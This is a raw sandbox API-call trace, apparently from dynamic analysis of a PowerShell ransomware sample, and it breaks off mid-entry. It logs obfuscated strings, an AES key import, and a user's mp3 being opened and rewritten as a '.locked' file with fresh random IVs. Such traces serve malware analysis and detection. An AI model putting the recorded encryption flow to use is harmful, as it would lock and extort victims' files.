[0134.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.086] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.086] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0134.086] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.086] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.086] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.086] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0134.086] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.087] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.087] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0134.087] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0134.087] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.087] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0134.087] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.087] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.087] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.088] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0134.088] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.088] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.088] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.088] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.088] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0134.088] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.088] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.088] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.088] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.088] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0134.088] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.088] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.088] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.088] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.088] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0134.088] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.089] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.089] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.089] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.089] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0134.089] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.089] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.089] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.089] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.089] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0134.089] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.089] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.089] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.089] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.089] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.090] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0134.090] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0134.090] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0134.090] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0134.090] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0134.090] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0134.090] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0134.091] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0134.091] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.091] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0134.091] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0134.092] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e021c8) returned 1 [0134.092] CryptImportKey (in: hProv=0x8e021c8, pbData=0x69c43fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84c38) returned 1 [0134.092] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.092] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.093] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.093] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.093] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.094] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\beepm3jtb4.mp3")) returned 0x20 [0134.094] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\beepm3jtb4.mp3")) returned 0x20 [0134.095] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", lpFilePart=0x0) returned 0x34 [0134.095] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", lpFilePart=0x0) returned 0x34 [0134.095] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.095] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", lpFilePart=0x0) returned 0x34 [0134.095] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", lpFilePart=0x0) returned 0x34 [0134.095] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.095] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.095] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.095] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.096] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3", lpFilePart=0x0) returned 0x34 [0134.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.096] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\beepm3jtb4.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0134.096] GetFileType (hFile=0x858) returned 0x1 [0134.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.096] GetFileType (hFile=0x858) returned 0x1 [0134.096] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.096] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0134.097] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.097] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.097] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.097] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3.locked", lpFilePart=0x0) returned 0x3b [0134.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.097] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\beePm3JTb4.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\beepm3jtb4.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0134.098] GetFileType (hFile=0x874) returned 0x1 [0134.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.098] GetFileType (hFile=0x874) returned 0x1 [0134.098] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.098] CryptGenRandom (in: hProv=0x8e021c8, dwLen=0x10, pbBuffer=0x69dafe0 | out: pbBuffer=0x69dafe0) returned 1 [0134.098] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.098] CryptDuplicateKey (in: hKey=0x8e84c38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84d38) returned 1 [0134.098] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.098] CryptSetKeyParam (hKey=0x8e84d38, dwParam=0x4, pbData=0x69dc29c*=0x1, dwFlags=0x0) returned 1 [0134.098] CryptSetKeyParam (hKey=0x8e84d38, dwParam=0x1, pbData=0x69dc268, dwFlags=0x0) returned 1 [0134.098] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x2720\x438\x242") returned 0x0 [0134.099] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.099] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, 